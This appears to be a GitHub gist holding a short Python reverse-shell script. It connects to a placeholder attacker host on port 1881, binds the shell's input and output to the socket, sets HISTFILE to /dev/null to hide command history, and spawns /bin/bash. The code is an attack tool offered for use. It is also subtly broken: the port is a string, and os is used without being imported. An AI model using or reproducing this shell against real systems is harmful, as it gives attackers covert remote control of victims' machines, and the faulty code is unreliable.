Created
December 11, 2019 20:10
-
-
Save echel0nn/cc0829bcc8facb4823c6439691064adc to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pty | |
from os import dup2, putenv | |
import socket | |
LHOST="HOSTIP" | |
LPORT="1881" | |
def FUOVERIT(): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((LHOST, LPORT)) | |
dup2(s.fileno(),0) | |
dup2(s.fileno(),1) | |
dup2(s.fileno(),2) | |
os.putenv("HISTFILE",'/dev/null') | |
pty.spawn("/bin/bash") | |
FUOVERIT() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment